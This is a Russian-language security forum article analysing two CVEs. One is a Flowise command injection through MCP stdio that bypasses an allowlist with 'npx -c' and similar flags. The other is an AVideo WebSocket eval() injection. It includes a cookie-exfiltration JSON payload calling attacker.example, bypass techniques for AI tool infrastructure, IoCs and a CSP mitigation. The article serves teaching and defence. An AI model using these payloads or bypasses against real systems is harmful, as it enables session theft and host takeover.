Статья RCE уязвимости в AI-платформах: CVE-2026-40933 и CVE-2026-40911 — от allowlist bypass до eval() injection

Разрезанный навесной замок с рассыпанными штифтами на чёрном антистатическом коврике. На стали выгравирована надпись с идентификатором уязвимости, рядом — фрагмент платы с обгоревшей дорожкой.


Allowlist из пяти команд, функция validateCommandInjection() и проверка validateArgsForLocalFileAccess() - три слоя защиты между пользовательским вводом и subprocess в Flowise. Payload с npx -c прошёл все три. Рядом по таймлайну - AVideo с двумя eval()-sink на клиентской стороне, которые выполняют произвольный JavaScript в браузере каждого подключённого к WebSocket пользователя. Без аутентификации. Вообще без неё.

CVE-2026-40933 (CVSS 9.9) и CVE-2026-40911 (CVSS 10.0), опубликованные в апреле 2026 - два разных паттерна небезопасного выполнения ввода, которые бьют в одну точку: AI- и медиаплатформы, где доверие к пользовательским данным заложено прямо в архитектуру. Те же антипаттерны, что пять лет назад убивали самописные PHP-скрипты - eval() и subprocess.exec() без санитизации - теперь живут в LLM-конструкторах с drag & drop интерфейсом.

Ниже - полный разбор обоих векторов, воспроизводимые шаги, маппинг на MITRE ATT&CK и конкретные индикаторы компрометации.

CVE-2026-40933: command injection через MCP stdio в Flowise (CVSS 9.9)​

Flowise - open-source конструктор LLM-потоков с drag & drop интерфейсом и примерно 200 000 активных инстансов при ~150 миллионах суммарных загрузок (данные OX Security, апрель 2026). Платформа поддерживает Model Context Protocol для подключения языковых моделей к внешним инструментам через два транспорта: HTTP/SSE для удалённых серверов и STDIO для локальных процессов. Вся уязвимость сконцентрирована в STDIO-транспорте. Репозиторий на GitHub активно поддерживается, патч выпущен в версии 3.1.0.

CVE-2026-40933 - CWE-78 (OS Command Injection), вектор CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - оценка 9.9 (CRITICAL). Разберём: PR:L - достаточно любого зарегистрированного пользователя; AC:L - никаких race condition или хитрых предусловий; S:C (scope changed) - эксплуатация в контексте Flowise даёт выход на хостовую ОС, компрометация затрагивает ресурсы за пределами уязвимого компонента. Затронуты все версии Flowise до 3.1.0.

Корневая причина - в обработке конфигурации stdio-серверов MCP-адаптером. При добавлении Custom MCP через интерфейс http://localhost:3000/canvas пользователь передаёт два параметра в StdioServerParameters: command (исполняемый файл) и args (аргументы). Код содержит три защитных механизма:
  1. validateCommandInjection() - проверка команды на типичные injection-паттерны
  2. validateArgsForLocalFileAccess() - ограничение доступа к локальным файлам через аргументы
  3. Predefined allowlist: python, node, npm, npx, dotnet
Проблема фундаментальна: allowlist проверяет только имя исполняемого файла и плевать хотел на семантику аргументов. npx проходит - легитимная команда Node.js. Но npx -c "произвольный_shell_код" - полноценное выполнение команд ОС. Аналогично python -c "import os; os.system('...')" и node -e "require('child_process').exec('...')". Классический провал blocklist-подхода: невозможно предусмотреть все комбинации допустимых бинарников с опасными флагами. Sanitization-функции Flowise ищут паттерны вроде ; rm -rf / в строке команды, но не разбирают контекст аргументов -c или -e. По документам - защита есть. На практике - дыра.

Исходный код уязвимых путей - в MCP-адаптере Flowise (подробности в advisory GHSA-c9gw-hvqq-f33r; конкретные файлы и строки уточняйте по актуальной версии advisory).

PoC: от Custom MCP до произвольной команды на хосте​

Требования к окружению:
  • Flowise < 3.1.0, self-hosted инстанс
  • Аутентифицированная сессия (любой уровень привилегий - low-priv достаточно)
  • Доступ к веб-интерфейсу Canvas (/canvas)
  • Docker или VM с Ubuntu 22.04+, минимум 2 ГБ RAM, Node.js 18+
  • Flowise запускается через npx flowise start или из Docker-образа flowiseai/flowise
  • Интернет-доступ не обязателен - эксплуатация локальная
Шаги воспроизведения, восстановленные по advisory GHSA-c9gw-hvqq-f33r и данным Endor Labs:
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

CVE-2026-40911: eval() injection через WebSocket в AVideo (CVSS 10.0)​

AVideo (WWBN) - open-source видеоплатформа. CVE-2026-40911 принципиально отличается от Flowise: CWE-94 (Improper Control of Generation of Code), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - максимальная оценка 10.0 (CRITICAL). Каждый компонент на максимуме: PR:N - аутентификация не нужна, UI:N - действие пользователя не требуется, S:C - scope changed.

Затронуты версии AVideo 29.0 и ниже.

Архитектура уязвимости другая: здесь нет server-side OS command injection. Серверный компонент выступает усилителем - ретранслирует вредоносный payload каждому подключённому клиенту, где тот попадает в eval(). Сервер - послушный почтальон, который доставляет бомбу во все почтовые ящики разом.

Плагин YPTSocket реализует WebSocket-сервер для функций реального времени (чат, уведомления, live-стриминг). Серверная сторона принимает JSON от любого клиента и ретранслирует его всем подключённым пользователям без санитизации полей msg и callback. На клиентской стороне файл plugin/YPTSocket/script.js содержит два eval()-sink:
  • Строка 568: eval(json.msg.autoEvalCodeOnHTML) - поле autoEvalCodeOnHTML из входящего JSON выполняется как JavaScript
  • Строка 95: eval(json.callback) - поле callback из того же JSON-сообщения тоже летит в eval()
Два eval() в одном файле - как два открытых окна на первом этаже. Зайти можно через любое.

Токены для WebSocket-подключения выдаются анонимным посетителям и не проходят повторной валидации. Любой может подключиться, отправить вредоносный JSON - и его payload выполнится в браузере каждого активного пользователя платформы.

Цепочка от анонимного подключения до массовой компрометации​

Требования к окружению:
  • AVideo <= 29.0 с включённым плагином YPTSocket
  • WebSocket-порт доступен по сети
  • Инструментарий: wscat, браузерные DevTools, Python-библиотека websockets - что угодно с поддержкой WebSocket
  • RAM и ОС значения не имеют - атака выполняется с любого клиента
Цепочка AVideo XSS-to-RCE:
  1. Атакующий подключается к WebSocket-серверу AVideo - анонимный токен выдаётся автоматически
  2. Отправляет JSON с payload в поле msg.autoEvalCodeOnHTML или callback
  3. Сервер ретранслирует сообщение всем подключённым клиентам без фильтрации
  4. В каждом браузере script.js вызывает eval() на полученных данных
  5. JavaScript выполняется в контексте сессии каждого пользователя - включая администраторов
JavaScript:
// Пример для демонстрации концепции (client-side exfiltration)
{
  "msg": {
    "autoEvalCodeOnHTML": "new Image().src='https://attacker.example/c?c='+document.cookie"
  }
}
Результат: exfiltration cookies и сессионных токенов всех подключённых пользователей. Попался администратор - атакующий получает его сессию и полный контроль над платформой. Следующий шаг - загрузка web shell через административный интерфейс AVideo, переход к server-side RCE. CVE-2026-40911 превращает каждого подключённого пользователя в невольный relay.

Маппинг ATT&CK: Exploit Public-Facing Application (T1190, Initial Access) → JavaScript (T1059.007, Execution) → Exploitation for Client Execution (T1203, Execution). Далее: Exploitation for Privilege Escalation (T1068) через захват admin-сессии.

Где eval() injection в AVideo не сработает​

  • Версии AVideo новее 29.0 - если разработчики исправили обработку WebSocket-сообщений
  • Плагин YPTSocket отключён - без WebSocket-сервера нет вектора доставки
  • CSP (Content-Security-Policy) с script-src 'self' без 'unsafe-eval' - браузер заблокирует eval(). На практике большинство self-hosted AVideo инстансов CSP не настраивают
  • WAF с инспекцией WebSocket-фреймов - редкость, подавляющее большинство WAF WebSocket не разбирает
  • Изолированная сеть без доступа атакующего к WebSocket-порту
Принципиальное отличие от Flowise: AVideo не требует учётных данных вообще. CVSS 10.0 - именно про это: полная доступность для анонимного атакующего при максимальном воздействии. Flowise - «дайте мне low-priv аккаунт и я заберу хост». AVideo - «дайте мне сетевой доступ и я заберу браузеры всех пользователей».

MCP stdio как системная поверхность атаки в LLM-инфраструктуре​

CVE-2026-40933 - не изолированный случай. Она входит в серию из более чем 14 CVE, задокументированных OX Security в MCP-среде (отчёт «The Mother of All AI Supply Chains», апрель 2026). Одна корневая проблема - небезопасная передача пользовательского ввода в subprocess через STDIO-транспорт - воспроизводится в нескольких платформах:

ПлатформаCVECWECVSSAuthПродукт
FlowiseCVE-2026-40933CWE-78 (OS Cmd Injection)9.9Low-privflowiseai:flowise
LibreChatCVE-2026-22252CWE-285 (Improper Authz)9.1High-privlibrechat:librechat
WeKnora (Tencent)CVE-2026-22688CWE-77 (Command Injection)9.9Low-privtencent:weknora
AVideoCVE-2026-40911CWE-94 (Code Injection)10.0Нетwwbn:avideo

Разные CWE - единый паттерн: пользовательский ввод достигает функций выполнения кода без адекватной валидации. Обратите внимание на LibreChat: CWE-285 - там проблема не в sanitization, а в авторизации. MCP stdio принимает произвольные команды без проверки прав, любой аутентифицированный пользователь выполняет shell-команды как root внутри контейнера. Три разных класса уязвимостей, один вектор - OS injection через AI-инфраструктуру.

Архитектура MCP-протокола (разработчик - Anthropic) подразумевает, что SDK для Python, TypeScript, Java и Rust передаёт command и args напрямую в subprocess по дизайну. Санитизация - ответственность разработчика клиентского приложения. Сам протокол ограничений не накладывает. Для пентестера это означает: каждая MCP stdio интеграция - потенциальная точка входа. Проверять нужно не только приложение, но и как именно оно использует SDK.

Четыре вектора эксплуатации MCP stdio по данным OX Security:

ВекторОписаниеПример
Прямая command injectionПоля command/args доступны через UIFlowise Canvas, LangFlow
Обход allowlistЛегитимная команда + опасный флагnpx -c, python -c
Transport type switchСмена HTTP→stdio в API-запросе, минуя UIПерехват через Burp Suite
Отравление реестровВредоносные MCP-пакеты в публичных реестрах9 из 11 реестров скомпрометированы

Чеклист для пентестера, столкнувшегося с LLM-инфраструктурой:

УсловиеПервое действие
Обнаружен Flowise/LangFlow/LibreChatОпределить версию, проверить Custom MCP с npx -c id
MCP настроен через UIПопробовать transport type switch через перехват API
Используются внешние MCP-серверыАудит источников, проверка integrity пакетов
STDIO «отключён» в UIУбедиться, что backend действительно отклоняет stdio-конфигурации (а не просто прячет кнопку)

Детектирование: IoC и стратегии мониторинга​

Индикаторы компрометации CVE-2026-40933​

  • Появление новых MCP stdio server конфигураций в Flowise - отслеживается через audit-логи приложения
  • Дочерние процессы от Node.js-процесса Flowise с аргументами -c, -e, exec, bash, sh - мониторинг через EDR или auditd
  • Создание файлов в /tmp/ и нетипичных директориях от имени пользователя, под которым работает Flowise
  • Исходящие TCP-соединения от Flowise к неизвестным IP (индикатор reverse shell)
  • HTTP POST к эндпоинту Canvas с JSON-body, содержащим "transport_type": "stdio" в сочетании с подозрительными значениями command/args
На уровне SIEM: алерт на паттерн «parent process = node/flowise, child process cmdline содержит -c или -e с shell-командами». Для auditd - правило на execve от процессов в cgroup Flowise.

Индикаторы компрометации CVE-2026-40911​

  • WebSocket-сообщения с полями autoEvalCodeOnHTML или callback, содержащими JavaScript (eval, fetch, XMLHttpRequest, document.cookie)
  • Массовые HTTP-запросы с клиентских браузеров на внешние домены сразу после WebSocket-коммуникации - признак exfiltration
  • Нетипичные административные действия после WebSocket-подключения: создание пользователей, загрузка файлов, изменение конфигурации
Детектирование AVideo сложнее: payload транзитный, проходит через WebSocket-relay, выполняется на стороне клиента. Серверные IDS видят только факт ретрансляции сообщения, а не результат eval(). Единственный рубеж до патча - CSP-заголовки:
NGINX:
# Принудительный CSP для AVideo (блокирует eval())
add_header Content-Security-Policy "script-src 'self'; object-src 'none';" always;
Предупреждение: этот заголовок с высокой вероятностью сломает штатную работу AVideo - плагин YPTSocket архитектурно зависит от eval() в легитимных сценариях. CSP здесь - экстренная мера до обновления, а не production-решение. Вылечить болезнь, убив пациента - так себе стратегия, но если альтернатива - CVSS 10.0 без патча, выбор очевиден.

На реальных проектах сценарий повторяется с пугающей регулярностью: команда разворачивает Flowise «на попробовать», через полгода инстанс оброс интеграциями с production-базами и API-ключами к облакам. На пентесте это подарок.

Архитектурно SDK низкоуровневый, subprocess - ожидаемое поведение. Но протокол, который по дизайну отдаёт строку в shell без проверки, создаёт системный стимул для появления клонов CVE-2026-40933 в каждом продукте, который его интегрирует. Scope changed (S:C) в обоих CVSS-векторах - прямое отражение этой архитектуры: ломаешь приложение - получаешь хост.

Пока архитектура MCP stdio не изменится - каждый квартал будут новые advisory. Меняться будут только названия платформ в заголовке. Проверьте свои инстансы Flowise/LangFlow/LibreChat прямо сейчас: npx -c id в Custom MCP - если выполнилось, у вас та же проблема. На WAPT эту цепочку - от MCP injection до захвата хоста - разбирают в модуле по эксплуатации серверных уязвимостей.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab